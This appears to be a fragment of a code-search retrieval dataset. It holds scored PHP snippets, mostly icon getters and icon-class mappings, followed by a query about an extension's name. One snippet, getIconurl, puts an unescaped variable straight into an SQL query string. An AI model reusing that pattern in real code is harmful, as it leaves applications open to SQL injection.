' fa-rotate-'.$pa_options['rotate'];\n\t\t\t}\n\t\t\t\n\t\t\t$vs_attr = _caHTMLMakeAttributeString($pa_attributes);\n\t\t\t\n\t\t\treturn \"<i class='caIcon fa {$va_icon['class']} {$vs_size}{$vs_opt_class}{$vs_rotate_class}' {$vs_attr}></i>\";\n\t\t}\n\t\t\n\t\treturn '???';\n\t}", "title": "" }, { "docid": "b34c03e71a7c0e8c97d773c334ea5a1b", "score": "0.58550394", "text": "private function get_icon()\n\t{\n\t\treturn $this->m_icon;\n\t}", "title": "" }, { "docid": "b34c03e71a7c0e8c97d773c334ea5a1b", "score": "0.58550394", "text": "private function get_icon()\n\t{\n\t\treturn $this->m_icon;\n\t}", "title": "" }, { "docid": "cf41f9cd318a0aea2e1d1f330d3abb5c", "score": "0.5845069", "text": "public function icon() {\n\t\treturn 'column';\n\t}", "title": "" }, { "docid": "2a141f29580080921ef4271539723baa", "score": "0.5841545", "text": "public function setIcon($value)\n {\n return $this->set(self::_ICON, $value);\n }", "title": "" }, { "docid": "5578970fcd41a36c98c317b620399901", "score": "0.5831629", "text": "public function icon()\n {\n return $this->icon;\n }", "title": "" }, { "docid": "c6756f2dc918b662697ae25bf04ce339", "score": "0.5798251", "text": "function icon($which, $alt='', $url=false, $print_alt = false, $class=false) {\n return new Icon($which, $alt, $url, $print_alt, $class);\n}", "title": "" }, { "docid": "de5d6f2139e59a271b28e13b3253f3a2", "score": "0.57858425", "text": "public function getIcon()\n {\n return $this->icon;\n }", "title": "" }, { "docid": "de5d6f2139e59a271b28e13b3253f3a2", "score": "0.57858425", "text": "public function getIcon()\n {\n return $this->icon;\n }", "title": "" }, { "docid": "de5d6f2139e59a271b28e13b3253f3a2", "score": "0.57858425", "text": "public function getIcon()\n {\n return $this->icon;\n }", "title": "" }, { "docid": "de5d6f2139e59a271b28e13b3253f3a2", "score": "0.57858425", "text": "public function getIcon()\n {\n return $this->icon;\n }", "title": "" }, { "docid": "de5d6f2139e59a271b28e13b3253f3a2", "score": "0.57858425", "text": "public function getIcon()\n {\n return $this->icon;\n }", "title": "" }, { "docid": "de5d6f2139e59a271b28e13b3253f3a2", "score": "0.57858425", "text": "public function getIcon()\n {\n return $this->icon;\n }", "title": "" }, { "docid": "de5d6f2139e59a271b28e13b3253f3a2", "score": "0.57858425", "text": "public function getIcon()\n {\n return $this->icon;\n }", "title": "" }, { "docid": "02f5923fad329e4986f90454d272517b", "score": "0.57812536", "text": "public function getIcon(): string\n {\n return $this->icon ?: static::DEFAULT_ICON;\n }", "title": "" }, { "docid": "e0970c4d0af65bdb687917467b3d825c", "score": "0.57779676", "text": "public function getIconMimeType() {}", "title": "" }, { "docid": "53e1a6592fb8e6996f12f56f3755e18a", "score": "0.5775451", "text": "protected function getIcon($color) {\n return Assets::image_path('icons/16/' . $color . '/forum.png');\n }", "title": "" }, { "docid": "418fd3e63d44cfc4698074377a41bf9b", "score": "0.57657546", "text": "public function getSpriteIconCode() {}", "title": "" }, { "docid": "ba0209ad70e8e4a4f159e98d19b9f0b1", "score": "0.5764425", "text": "public function getIcon()\n {\n return $this->_icon;\n }", "title": "" }, { "docid": "d53394cf100b5a75de08d626db03dc94", "score": "0.5755826", "text": "public function icon ( )\n\t{\n\t\treturn Array( 'id' => $this->id,\t// shoud be consistent with what is passed to _uicmp_stuff_fold class\n\t\t\t\t\t 'title' => $this->messages['icon'] );\n\t}", "title": "" }, { "docid": "d383dd67b3511e4e09e16f6598e2d40a", "score": "0.57527673", "text": "public function getIcon()\n\t{\n\t\treturn $this->icon;\n\t}", "title": "" }, { "docid": "d574af85fa0837d3c3f01de3d7e2051e", "score": "0.57504755", "text": "public function getCardIcon($type) {\n return $this->iconsProvider->getIcons()[$type];\n }", "title": "" }, { "docid": "0fd366093c9b1884ccb415cca702a14a", "score": "0.57504535", "text": "public function getIconClass() {\n\n $iconList = new IconList();\n return $iconList->getIconClass( $this->getWeather()->getId());\n }", "title": "" }, { "docid": "a59e42542929d74701214c07a163095a", "score": "0.57365406", "text": "public function get_icon() {\r\n\t\treturn 'eicon-price-table';\r\n\t}", "title": "" }, { "docid": "8c7743d228f08b106e00b2adcbd53acb", "score": "0.5720345", "text": "public function getIcon() {\r\n\t\r\n\t$fileType = $this->getType();\r\n\t\r\n\t$image = array(\r\n\t 'image/gif',\r\n\t 'image/png',\r\n\t 'image/jpg',\r\n\t 'image/jpeg'\r\n\t);\r\n\t\r\n\t$rarZip = array(\r\n\t 'application/zip',\r\n 'application/x-rar-compressed'\r\n\t);\r\n\t\r\n\t$audio = array(\r\n\t 'audio/mpeg'\r\n\t);\r\n\t\r\n\t$video = array(\r\n\t 'video/quicktime',\r\n\t 'video/mp4'\r\n\t);\r\n\t\r\n\t$pdf = array(\r\n\t 'application/pdf'\r\n\t);\r\n\t\r\n\t$wordExcelPptx = array(\r\n\t 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',\r\n\t 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',\r\n\t 'application/vnd.openxmlformats-officedocument.presentationml.presentation',\r\n\t 'application/msword',\r\n\t 'application/vnd.ms-excel',\r\n\t 'application/vnd.ms-powerpoint'\r\n\t);\r\n\t\r\n\tif (in_array($fileType, $image)) {\r\n\t return \"image.png\";\r\n\t} elseif (in_array($fileType, $audio)) {\r\n\t return \"audio.png\";\r\n\t} elseif (in_array($fileType, $video)) {\r\n\t return \"video.png\";\r\n\t} elseif (in_array($fileType, $rarZip)) {\r\n\t return \"rarZip.png\";\r\n\t} elseif (in_array($fileType, $pdf)) {\r\n\t return \"pdf.png\";\r\n\t} elseif (in_array($fileType, $wordExcelPptx)) {\r\n\t return \"wordExcelPptx.png\";\r\n\t} else {\r\n\t return \"default.png\";\r\n\t}\r\n\t\r\n }", "title": "" }, { "docid": "c9ae60c7666f54842921e2793eca0ec3", "score": "0.57141846", "text": "protected function imageColor(): string\n {\n $types = [\n 'image' => 'orange-400',\n 'video' => 'yellow-400',\n 'document' => 'red-400',\n 'audio' => 'aqua-400',\n 'code' => 'blue-400',\n 'archive' => 'white'\n ];\n\n $extensions = [\n 'indd' => 'purple-400',\n 'xls' => 'green-400',\n 'xlsx' => 'green-400',\n 'csv' => 'green-400',\n 'docx' => 'blue-400',\n 'doc' => 'blue-400',\n 'rtf' => 'blue-400'\n ];\n\n return $extensions[$this->model->extension()] ??\n $types[$this->model->type()] ??\n parent::imageDefaults()['icon'];\n }", "title": "" }, { "docid": "6688405ac2dd3a728d19d1c94751c2da", "score": "0.57122856", "text": "public function get_icon()\n {\n return 'fa fa-image';\n }", "title": "" }, { "docid": "5f7c3ec6c3adc632253eb00d0b5141af", "score": "0.5711742", "text": "public function getIcon() {\n return $this->icon;\n }", "title": "" }, { "docid": "5f7c3ec6c3adc632253eb00d0b5141af", "score": "0.5711742", "text": "public function getIcon() {\n return $this->icon;\n }", "title": "" }, { "docid": "18e1f61009f3245ca530aca00d5e141d", "score": "0.5705261", "text": "function get_icon() {\n\t\treturn $this->settings['icon'];\n\t}", "title": "" }, { "docid": "134db8e9621cc0e7e2b51e866b7b550a", "score": "0.5679915", "text": "public function getIcon() {\n\t\treturn $this->icon;\n\t}", "title": "" }, { "docid": "47525cc297b2e5e1cdc1ac8187cd1456", "score": "0.5666016", "text": "public function get_icon() {\n return 'eicon-heading apr-badge';\n }", "title": "" }, { "docid": "a58aab8bda515afb3fb1e26a1bf7d77e", "score": "0.5658568", "text": "protected function get__icon()\n\t{\n\t\treturn NULL;\n\t}", "title": "" }, { "docid": "4e397fe26cbad88a5c8d6b96a3a443af", "score": "0.564795", "text": "public function getIcon()\n {\n return empty($this->model->icon) ? 'globe' : $this->model->icon;\n }", "title": "" }, { "docid": "0c6d5b218b1abc65eb77d0877e0fbcff", "score": "0.55828655", "text": "public function get_icon() {\n\t\treturn 'fa fa-cloud';\n\t}", "title": "" }, { "docid": "73cd9a8ab4da49be8e965b0bf314f50a", "score": "0.5574317", "text": "public final function getIconColor()\n {\n if ((float)$this->getSymfonyVersion() >= 2.8) {\n return $this->data['iconColor'] = '#AAAAAA';\n }\n return $this->data['iconColor'] = '#3F3F3F';\n }", "title": "" }, { "docid": "67bc03cfea0c1cad73e73003b097d7dc", "score": "0.5537531", "text": "public function get_icon() {\n\t\t\treturn WC_SUMO_Sagepay_Common_Functions::get_icon( $this->cardtypes, $this->sagelink, $this->sagelogo, $this->id );\n\t\t}", "title": "" }, { "docid": "3aae1cbf0f26993d94911a101a037a48", "score": "0.55343944", "text": "protected function getIcon()\n {\n /** @var IconFactory $iconFactory */\n $iconFactory = GeneralUtility::makeInstance(IconFactory::class);\n return $iconFactory->getIcon('px-shopware-clear-cache', Icon::SIZE_SMALL)->render();\n }", "title": "" }, { "docid": "f0b2f5cf1edd010433a471ee9f1daf14", "score": "0.5530509", "text": "protected function set_type() {\n\t\t$this->type = 'kirki-color';\n\t}", "title": "" }, { "docid": "e355214f7615de63063168cca65ba387", "score": "0.5520232", "text": "public static function type_return_icon($type_id)\n {\n switch($type_id):\n case '101';\n return \"<i class=\\\"fa fa-beer fa-1x\\\"></i>\";\n break;\n case '102';\n return \"<i class=\\\"fa fa-thumbs-o-up fa-1x\\\"></i>\";\n break;\n case '103';\n break;\n case '200';\n return \"<i class=\\\"fa fa-picture-o fa-1x\\\"></i>\";\n break;\n case '300';\n return \"<i class=\\\"fa fa-map-marker fa-1x\\\"></i>\";\n break;\n endswitch;\n }", "title": "" }, { "docid": "7de66d78a08ebd7a2e2163c6c573bea4", "score": "0.55150557", "text": "protected function establish_icon() {\n\t\t$this->icon = \"<i class='sw swp_{$this->key}_icon'></i>\";\n\t}", "title": "" }, { "docid": "e11c4bcc4b0bd96e5499ae65af59569d", "score": "0.5508874", "text": "function dt_sc_icon_box_colored($attrs, $content = null, $shortcodename = \"\") {\n\t\textract ( shortcode_atts ( array (\n\t\t\t\t'type' => '',\n\t\t\t\t'fontawesome_icon' => '',\n\t\t\t\t'custom_icon' => '',\n\t\t\t\t'title' => '',\n\t\t\t\t'bgcolor' => ''\n\t\t), $attrs ) );\n\t\t\n\t\t$content = DTCoreShortcodesDefination::dtShortcodeHelper ( $content );\n\t\t\n\t\t$bgcolor = empty ( $bgcolor ) ? \"\" : \" style='background:{$bgcolor};' \";\n\t\t\n\t\t$type = ( trim($type) === 'type1' ) ? \"no-space\" : \"space\";\n\t\t\n\t\t$out = \"<div class='dt-sc-colored-box {$type}' {$bgcolor}>\";\n\t\t\n\t\t$icon = \"\";\n\t\tif( !empty($fontawesome_icon) ){\n\t\t\t$icon = \"<span class='fa fa-{$fontawesome_icon}'> </span>\";\n\t\t\n\t\t}elseif( !empty($custom_icon) ){\n\t\t\t$icon = \"\";\t\n\t\t}\n\t\t\n\t\t$out .= \"<h5>{$icon}{$title}</h5>\";\n\t\t$out .= $content;\n\t\t$out .= \"</div>\";\n\t\treturn $out;\n\t}", "title": "" }, { "docid": "35ec2446a46a1508ce3ec4d7ced80f1e", "score": "0.5508707", "text": "public function get_icon() {\n\t\treturn parent::get_widget_icon( 'Team_Member' );\n\t}", "title": "" }, { "docid": "7cae37ad6554243107aa219d20ce6ab6", "score": "0.550032", "text": "public function get_icon() {\n\t\treturn 'eicon-slider-album';\n\t}", "title": "" }, { "docid": "7cae37ad6554243107aa219d20ce6ab6", "score": "0.550032", "text": "public function get_icon() {\n\t\treturn 'eicon-slider-album';\n\t}", "title": "" }, { "docid": "2d7283269139e295fc357482a2e39e47", "score": "0.5494365", "text": "public function getStrIcon() {\n return \"icon_folderClosed\";\n }", "title": "" }, { "docid": "fc3f37a574be49a9780fc15371de5efa", "score": "0.54897684", "text": "function getIconurl($icon_key, $type='small') {\r\n\t\r\n \t\tglobal $CONN, $CONFIG;\r\n\t\t\r\n\t\tif ($type=='small') {\r\n\t\t\r\n\t\t\t$field = 'small_icon';\r\n\t\t\r\n\t\t} else {\r\n\t\t\r\n\t\t\t$field = 'large_icon';\r\n\t\t\r\n\t\t}\r\n\t\t$rs = $CONN->Execute(\"SELECT $field FROM {$CONFIG['DB_PREFIX']}icons WHERE icon_key='$icon_key'\");\r\n \r\n\t\t$icon = $rs->fields[0];\t\t\r\n\t\t\r\n\t\t$rs->Close();\r\n\t\t\r\n\t\tif (is_file($CONFIG['MODULE_FILE_SAVE_PATH'].'/icons/'.$icon)) {\r\n\t\t\r\n\r\n\t\t\t$icon_url = $CONFIG['MODULE_FILE_VIEW_PATH'].'icons/'.$icon;\r\n\t\t\treturn $icon_url;\r\n\t\t\t\t\r\n\t\t\r\n\t\t} else {\r\n\t\t\r\n\t\t\treturn false;\r\n\t\t\r\n\t\t}\r\n\t\t\t\r\n\t}", "title": "" }, { "docid": "c920e606c718eaf4a842fa81514f81ec", "score": "0.54895234", "text": "public function get_icon() {\n\t\treturn 'eicon-product-images';\n\t}", "title": "" }, { "docid": "c565bb707456f644c1bff3aaaf6aad6e", "score": "0.54873955", "text": "public function get_icon() {\n\t\treturn 'eicon-eye';\n\t}", "title": "" }, { "docid": "fbe8281dde03aebb56b98a5015534d2a", "score": "0.54717404", "text": "public function get_icon() {\n\t\treturn 'fa fa-images';\n\t}", "title": "" }, { "docid": "1c460672db5a612da6c9166e4801060a", "score": "0.5466028", "text": "public function get_icon()\r\n {\r\n return 'eicon-posts-justified';\r\n }", "title": "" }, { "docid": "849a5a8cfc18188be386268ca3299e41", "score": "0.546508", "text": "function icon() {\n global $CFG;\n\n return \"<img src='$CFG->wwwroot/blocks/ilp/pix/graphicon.jpg' height='24' width='24' />\";\n }", "title": "" }, { "docid": "c92159c3f8725b2e578a1565656fa679", "score": "0.5465017", "text": "public function postTypeIcon() {\n return static::$menuIcon;\n }", "title": "" }, { "docid": "ef68c773c211b169875ba8084e6be5a5", "score": "0.5456081", "text": "public abstract function render_pix_icon(renderer_base $output, pix_icon $icon);", "title": "" }, { "docid": "543ee39de43f163ca40386244ac356f9", "score": "0.5450186", "text": "public function kind_icon_url ()\n {\n switch ($this->kind)\n {\n case History_item_deleted:\n return '{icons}indicators/deleted';\n case History_item_restored:\n return '{icons}indicators/restored';\n case History_item_hidden:\n return '{icons}indicators/hidden';\n case History_item_hidden_update:\n return '{icons}indicators/hidden_update';\n case History_item_locked:\n return '{icons}indicators/locked';\n default:\n return parent::kind_icon_url ();\n }\n }", "title": "" }, { "docid": "2e14cbe740996fb76e37213cde9d11a7", "score": "0.54492503", "text": "public function setIcon($var)\n {\n GPBUtil::checkString($var, True);\n $this->Icon = $var;\n\n return $this;\n }", "title": "" }, { "docid": "d7cbc52bb7553ab902b30a59ec2be790", "score": "0.54480183", "text": "public function getIconForFileWithFileTypePngReturnsPngIcon() {}", "title": "" }, { "docid": "b41b2228ffc9e9fab3e6ca5771e27baa", "score": "0.54433566", "text": "protected function getHintIconCss($type)\n {\n $css = [\"kv-hintable\"];\n if ($type === 'Icon') {\n $css[] = 'hide';\n }\n if (!empty($this->hintSettings[\"on{$type}Click\"])) {\n $css[] = \"kv-hint-click\";\n }\n if (!empty($this->hintSettings[\"on{$type}Hover\"])) {\n $css[] = \"kv-hint-hover\";\n }\n\n return $css;\n }", "title": "" }, { "docid": "1b88af64ec901dd4fb1ced2efae3d309", "score": "0.54242265", "text": "public function get_icon() {\n\t\treturn 'fa fa-code';\n\t}", "title": "" }, { "docid": "1b88af64ec901dd4fb1ced2efae3d309", "score": "0.54242265", "text": "public function get_icon() {\n\t\treturn 'fa fa-code';\n\t}", "title": "" }, { "docid": "b5b2788af9f316e628f9bf1b2b0f10db", "score": "0.5416226", "text": "public function icon($value)\n {\n $this->icon = $value;\n\n return $this;\n }", "title": "" }, { "docid": "e658479c61b6ee5bfa02897f7e02aada", "score": "0.5409049", "text": "public function getIcon()\n {\n return ModuleResourceLoader::resourceURL(\n 'silverstripe/framework:client/images/app_icons/folder_icon_large.png'\n );\n }", "title": "" }, { "docid": "b14bd30ff8a992786fd67e621df4a865", "score": "0.5407179", "text": "function wp_mime_type_icon($mime = 0)\n {\n }", "title": "" }, { "docid": "58397907f141668d4252926d1efcbb72", "score": "0.5403578", "text": "function getIconSquare($icon) {\n switch ($icon) {\n case 0:\n $title='';\n break;\n case 1:\n $title=clienttranslate('crown');\n break;\n case 2:\n $title=clienttranslate('leaf');\n break;\n case 3:\n $title=clienttranslate('light bulb');\n break;\n case 4:\n $title=clienttranslate('tower');\n break;\n case 5:\n $title=clienttranslate('factory');\n break;\n case 6:\n $title=clienttranslate('clock');\n break;\n }\n \n return self::format(\"<span title='{title}' class='square N icon_{icon}'></span>\", array('icon' => $icon, 'title' => $title));\n }", "title": "" }, { "docid": "a0bb78ef707fa9e754e6a2d9bbf8a6e5", "score": "0.54017425", "text": "function emc_get_cpt_icon() {\r\n\r\n\t$cpt = get_post_type();\r\n\r\n\tswitch ( $cpt ) {\r\n\t\tcase 'emc_big_idea':\r\n\t\t\t$icon = 'key';\r\n\t\t\t$alt = __( 'Key icon for Big Ideas', 'emc' );\r\n\t\t\tbreak;\r\n\t\tcase 'emc_content_focus':\r\n\t\t\t$icon = 'key';\r\n\t\t\t$alt = __( 'Key icon for Foundational Math Concepts', 'emc' );\r\n\t\t\tbreak;\r\n\t\tcase 'emc_common_core':\r\n\t\t\t$icon = 'star';\r\n\t\t\t$alt = __( 'Star icon for Common Core Alignment', 'emc' );\r\n\t\t\tbreak;\r\n\t\tdefault:\r\n\t\t\treturn false;\r\n\t}\r\n\r\n\t$url = get_template_directory_uri() . '/img/' . $icon . '.png';\r\n\t$html = sprintf( '<div class=\"emc-format\"><img class=\"emc-format-icon\" src=\"%1$s\" alt=\"%2$s\"/></div><!-- .emc-format -->',\r\n\t\tesc_url( $url ),\r\n\t\tesc_attr( $alt )\r\n\t);\r\n\r\n\treturn $html;\r\n\r\n}", "title": "" }, { "docid": "5a89575e7a49bc78100d1b77ec5c1997", "score": "0.539293", "text": "function _caNavIconTypeToName($pn_type) {\n\t\t$vs_ca_class = '';\n\t\tswitch($pn_type) {\n\t\t\tcase __CA_NAV_ICON_ADD__:\n\t\t\t\t$vs_fa_class = 'fa-plus-circle';\t\n\t\t\t\tbreak;\n\t\t\tcase __CA_NAV_ICON_DELETE__:\n\t\t\t\t$vs_fa_class = 'fa fa-times';\n\t\t\t\t$vs_ca_class = 'deleteIcon'; \n\t\t\t\tbreak;\n\t\t\tcase __CA_NAV_ICON_CANCEL__:\n\t\t\t\t$vs_fa_class = 'fa-minus-circle';\n\t\t\t\t$vs_ca_class = 'cancelIcon';\n\t\t\t\tbreak;\t\t\t\n\t\t\tcase __CA_NAV_ICON_EDIT__:\n\t\t\t\t$vs_fa_class = 'fa-file';\n\t\t\t\t$vs_ca_class = 'editIcon'; \n\t\t\t\tbreak;\n\t\t\tcase __CA_NAV_ICON_BATCH_EDIT__:\n\t\t\t\t$vs_fa_class = 'fa-magic';\n\t\t\t\t$vs_ca_class = 'batchIcon'; \n\t\t\t\tbreak;\n\t\t\tcase __CA_NAV_ICON_ALERT__:\n\t\t\t\t$vs_fa_class = 'fa-exclamation-triangle';\n\t\t\t\tbreak;\n\t\t\tcase __CA_NAV_ICON_SEARCH__:\n\t\t\t\t$vs_fa_class = 'fa-search';\n\t\t\t\tbreak;\n\t\t\tcase __CA_NAV_ICON_INFO__:\n\t\t\t\t$vs_fa_class = 'fa-info-circle';\n\t\t\t\t$vs_ca_class = 'infoIcon';\n\t\t\t\tbreak;\n\t\t\tcase __CA_NAV_ICON_DOWNLOAD__:\n\t\t\t\t$vs_fa_class = 'fa-download';\n\t\t\t\tbreak;\n\t\t\tcase __CA_NAV_ICON_MAKE_PRIMARY__:\n\t\t\t\t$vs_fa_class = 'fa-check';\n\t\t\t\tbreak;\n\t\t\tcase __CA_NAV_ICON_APPROVE__:\n\t\t\t\t$vs_fa_class = 'fa-thumbs-o-up';\n\t\t\t\tbreak;\t\n\t\t\tcase __CA_NAV_ICON_UPDATE__:\n\t\t\t\t$vs_fa_class = 'fa-refresh';\n\t\t\t\t$vs_ca_class = 'updateIcon'; \n\t\t\t\tbreak;\n\t\t\tcase __CA_NAV_ICON_LOGIN__:\n\t\t\t\t$vs_fa_class = 'fa-check-circle-o';\n\t\t\t\tbreak;\n\t\t\tcase __CA_NAV_ICON_SAVE__:\n\t\t\t\t$vs_fa_class = 'fa-check-circle-o';\n\t\t\t\tbreak;\n\t\t\tcase __CA_NAV_ICON_HELP__:\n\t\t\t\t$vs_fa_class = 'fa-life-ring';\n\t\t\t\tbreak;\n\t\t\tcase __CA_NAV_ICON_GO__:\n\t\t\t\t$vs_fa_class = 'fa-chevron-circle-right';\n\t\t\t\t$vs_ca_class = 'hierarchyIcon';\n\t\t\t\tbreak;\n\t\t\tcase __CA_NAV_ICON_DEL_BUNDLE__:\n\t\t\t\t$vs_fa_class = 'fa-times-circle';\n\t\t\t\tbreak;\n\t\t\tcase __CA_NAV_ICON_CLOSE__:\n\t\t\t\t$vs_fa_class = 'fa-times';\n\t\t\t\tbreak;\n\t\t\tcase __CA_NAV_ICON_WATCH__:\n\t\t\t\t$vs_fa_class = 'fa-eye';\n\t\t\t\tbreak;\n\t\t\tcase __CA_NAV_ICON_UNWATCH__:\n\t\t\t\t$vs_fa_class = 'fa-eye caIconRed';\n\t\t\t\tbreak;\n\t\t\tcase __CA_NAV_ICON_ZOOM_IN__:\n\t\t\t\t$vs_fa_class = 'fa-search-plus';\n\t\t\t\tbreak;\n\t\t\tcase __CA_NAV_ICON_ZOOM_OUT__:\n\t\t\t\t$vs_fa_class = 'fa-search-minus';\n\t\t\t\tbreak;\n\t\t\tcase __CA_NAV_ICON_MAGNIFY__:\n\t\t\t\t$vs_fa_class = 'fa-search';\n\t\t\t\tbreak;\n\t\t\tcase __CA_NAV_ICON_OVERVIEW__:\n\t\t\t\t$vs_fa_class = 'fa-picture-o';\n\t\t\t\tbreak;\n\t\t\tcase __CA_NAV_ICON_PAN__:\n\t\t\t\t$vs_fa_class = 'fa-arrows';\n\t\t\t\tbreak;\n\t\t\tcase __CA_NAV_ICON_CHANGE__:\n\t\t\t\t$vs_fa_class = 'fa-retweet';\n\t\t\t\tbreak;\n\t\t\tcase __CA_NAV_ICON_INTERSTITIAL_EDIT_BUNDLE__:\n\t\t\t\t$vs_fa_class = 'fa-paperclip';\n\t\t\t\tbreak;\n\t\t\tcase __CA_NAV_ICON_COLLAPSE__:\n\t\t\t\t$vs_fa_class = 'fa-minus-circle';\n\t\t\t\tbreak;\n\t\t\tcase __CA_NAV_ICON_EXPAND__:\n\t\t\t\t$vs_fa_class = 'fa-plus-circle';\n\t\t\t\tbreak;\t\t\t\t\t\n\t\t\tcase __CA_NAV_ICON_COMMIT__:\n\t\t\t\t$vs_fa_class = 'fa-check-circle-o';\n\t\t\t\tbreak;\t\n\t\t\tcase __CA_NAV_ICON_SETTINGS__:\n\t\t\t\t$vs_fa_class = 'fa-cog';\n\t\t\t\tbreak;\n\t\t\tcase __CA_NAV_ICON_FILTER__:\n\t\t\t\t$vs_fa_class = 'fa-sliders';\n\t\t\t\tbreak;\t\n\t\t\tcase __CA_NAV_ICON_EXPORT__:\n\t\t\t\t$vs_fa_class = 'fa-download';\n\t\t\t\tbreak;\n\t\t\tcase __CA_NAV_ICON_EXPORT_SMALL__:\n\t\t\t\t$vs_fa_class = 'fa-external-link-square';\n\t\t\t\tbreak;\t\n\t\t\tcase __CA_NAV_ICON_SETS__:\n\t\t\t\t$vs_fa_class = 'fa-clone';\n\t\t\t\tbreak;\t\n\t\t\tcase __CA_NAV_ICON_RIGHT_ARROW__:\n\t\t\t\t$vs_fa_class = 'fa-chevron-right';\n\t\t\t\tbreak;\t\n\t\t\tcase __CA_NAV_ICON_VISUALIZE__:\n\t\t\t\t$vs_fa_class = 'fa-line-chart';\n\t\t\t\tbreak;\t\n\t\t\tcase __CA_NAV_ICON_ADD_WIDGET__:\n\t\t\t\t$vs_fa_class = 'fa-plus-circle';\n\t\t\t\tbreak;\t\n\t\t\tcase __CA_NAV_ICON_DUPLICATE__:\n\t\t\t\t$vs_fa_class = 'fa-files-o';\n\t\t\t\tbreak;\t\n\t\t\tcase __CA_NAV_ICON_CHILD__:\n\t\t\t\t$vs_fa_class = 'fa-child';\n\t\t\t\tbreak;\t\n\t\t\tcase __CA_NAV_ICON_SCROLL_RT__:\n\t\t\t\t$vs_fa_class = 'fa-chevron-right';\n\t\t\t\tbreak;\t\n\t\t\tcase __CA_NAV_ICON_SCROLL_LT__:\n\t\t\t\t$vs_fa_class = 'fa-chevron-left';\n\t\t\t\tbreak;\t\n\t\t\tcase __CA_NAV_ICON_MOVE__:\n\t\t\t\t$vs_fa_class = 'fa-truck';\n\t\t\t\tbreak;\t\n\t\t\tcase __CA_NAV_ICON_IMAGE__:\n\t\t\t\t$vs_fa_class = 'fa-file-image-o';\n\t\t\t\tbreak;\t\n\t\t\tcase __CA_NAV_ICON_DOT__:\n\t\t\t\t$vs_fa_class = 'fa-dot-cirle-o';\n\t\t\t\tbreak;\t\n\t\t\tcase __CA_NAV_ICON_PDF__:\n\t\t\t\t$vs_fa_class = 'fa-file-pdf-o';\n\t\t\t\tbreak;\t\n\t\t\tcase __CA_NAV_ICON_SET_CENTER__:\n\t\t\t\t$vs_fa_class = 'fa-bullseye';\n\t\t\t\tbreak;\t\n\t\t\tcase __CA_NAV_ICON_VISIBILITY_TOGGLE__:\n \t\t\t\t$vs_fa_class = 'fa-arrow-circle-up';\n \t\t\t\tbreak;\n\t\t\tcase __CA_NAV_ICON_UP__:\n \t\t\t\t$vs_fa_class = 'fa-arrow-circle-up';\n \t\t\t\tbreak;\t\n\t\t\tcase __CA_NAV_ICON_DOWN__:\n \t\t\t\t$vs_fa_class = 'fa-arrow-circle-down';\n \t\t\t\tbreak;\t\t\t\t\n \t\t\tcase __CA_NAV_ICON_FOLDER__:\n \t\t\t\t$vs_fa_class = 'fa-folder';\t\n \t\t\t\tbreak;\t\t\t\t\n \t\t\tcase __CA_NAV_ICON_FOLDER_OPEN__:\n \t\t\t\t$vs_fa_class = 'fa-folder-open';\t\n \t\t\t\tbreak;\t\t\t\t\t\t\t\n \t\t\tcase __CA_NAV_ICON_FILE__:\n \t\t\t\t$vs_fa_class = 'fa-file';\t\n \t\t\t\tbreak;\t\t\n \t\t\tcase __CA_NAV_ICON_CLOCK__:\n \t\t\t\t$vs_fa_class = 'fa-clock-o';\t\n \t\t\t\tbreak;\t\t\t\t\n \t\t\tcase __CA_NAV_ICON_SPINNER__:\n \t\t\t\t$vs_fa_class = 'fa fa-cog fa-spin';\t\n \t\t\t\tbreak;\t\t\t\t\t\t\t\t\n \t\t\tcase __CA_NAV_ICON_HIER__:\n \t\t\t\t$vs_fa_class = 'fa fa-sitemap';\n \t\t\t\tbreak;\t\n\t\t\tcase __CA_NAV_ICON_SPREADSHEET__:\n\t\t\t\t$vs_fa_class = 'fa-table';\n\t\t\t\tbreak;\t\n\t\t\tcase __CA_NAV_ICON_VERTICAL_ARROWS__:\n\t\t\t\t$vs_fa_class = 'fa-arrows-v';\n\t\t\t\tbreak;\n\t\t\tcase __CA_NAV_ICON_MEDIA_METADATA__:\n\t\t\t\t$vs_fa_class = 'fa-file-audio-o';\n\t\t\t\tbreak;\t\t\t\t\t\n\t\t\tcase __CA_NAV_ICON_EXTRACT__:\n\t\t\t\t$vs_fa_class = 'fa-scissors';\n\t\t\t\tbreak;\t\t\t\t\t\n\t\t\tcase __CA_NAV_ICON_ROTATE__:\n\t\t\t\t$vs_fa_class = 'fa-undo';\n\t\t\t\tbreak;\n\t\t\tcase __CA_NAV_ICON_NUKE__:\n\t\t\t\t$vs_fa_class = 'fa-bomb';\n\t\t\t\tbreak;\n\t\t\tcase __CA_NAV_ICON_FULL_RESULTS__:\n\t\t\t\t$vs_fa_class = 'fa-bars';\n\t\t\t\tbreak;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\tdefault:\n\t\t\t\tprint \"INVALID CONSTANT $pn_type<br>\\n\";\n\t\t\t\treturn null;\n\t\t\t\tbreak;\n\t\t}\n\t\treturn array('class' => trim(\"{$vs_fa_class} {$vs_ca_class}\"), 'fa-class' => $vs_fa_class, 'ca-class' => $vs_ca_class);\n\t}", "title": "" }, { "docid": "37abdacab2640b1f9a030ec93f8a544d", "score": "0.5392304", "text": "function format_icon($p_icon, $p_color = '', $p_space_right = '5px'){\n\treturn '<i class=\"ace-icon fa ' . $p_icon . ' ' . $p_color . '\"></i>' . format_hspace($p_space_right);\n}", "title": "" }, { "docid": "50b8887668a4438fa4cab8b7a8b766ca", "score": "0.5389604", "text": "public function getIconSizeOptions()\n {\n return ArrayLib::valuekey($this->config()->icon_sizes);\n }", "title": "" }, { "docid": "e1d23bd016fc960cbd78cffc94ce8f19", "score": "0.53783137", "text": "public function get_icon()\n {\n return 'eicon-post-list';\n }", "title": "" } ]
b429913c1758e52bf4cf46f4f77e2092
Returns the name of the extension.
[ { "docid": "d480c17fe0b86cfabe874b3472657274", "score": "0.7653897", "text": "public function getName()\r\n {\r\n\r\n // TODO: Implement getName() method.\r\n return 'tva_extention';\r\n }", "title": "" } ]
